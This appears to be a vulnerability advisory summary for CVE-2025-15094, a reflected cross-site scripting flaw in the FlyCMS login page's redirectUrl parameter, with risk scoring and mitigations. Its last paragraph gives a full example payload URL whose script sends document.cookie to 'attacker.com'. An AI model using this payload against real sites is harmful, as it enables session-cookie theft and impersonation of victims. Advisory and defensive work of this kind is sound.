sunkaifei FlyCMS CVE-2025-15094

Exploitation requires network access to a FlyCMS instance with the user login page exposed. The attack is limited by mandatory user interaction (UI:P) - a victim must click or visit a crafted URL containing the malicious redirectUrl parameter. No authentication is required to trigger the injection (PR:N), making it accessible to unauthenticated attackers. The vulnerability is not automatically triggered; it depends on the victim visiting a link prepared by the attacker, typically delivered via phishing, social engineering, or malicious advertisement. If the application implements strict Content Security Policy or if the login template uses a safe templating engine with auto-escaping, the impact may be mitigated even in vulnerable code. Browsers with XSS filtering enabled (deprecated but legacy) may block some payloads, though this should not be relied upon.

The real-world risk is LOW despite public PoC availability. CVSS 2.1 with network-exploitable attack surface (AV:N, AC:L, PR:N) is offset by mandatory user interaction (UI:P) and limited integrity-only impact (VI:L). EPSS percentile of 6% (0.02% exploitation probability) indicates this ranks in the bottom tier for predicted weaponization, suggesting the vulnerability requires social engineering or targeted phishing to succeed and provides minimal attacker value. The absence of confidentiality or availability impact further limits severity. The presence of public PoC lowers the barrier to opportunistic exploitation but does not change the fundamental requirement for user clicking a malicious link. However, if FlyCMS is deployed in enterprise or sensitive contexts where XSS can be chained to steal session tokens or admin credentials, local risk assessment may warrant prioritization. The mismatch between 'publicly available exploit' status and low EPSS suggests the PoC is proof-of-concept rather than actively weaponized in campaigns.

An attacker crafts a phishing email containing a link to the FlyCMS login page with a malicious redirectUrl parameter, e.g., https://target.flycms/login?redirectUrl="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>. When a victim clicks the link and the login page renders, the injected JavaScript executes in their browser, stealing session cookies and sending them to the attacker's server. The attacker then uses the stolen session to impersonate the victim within FlyCMS.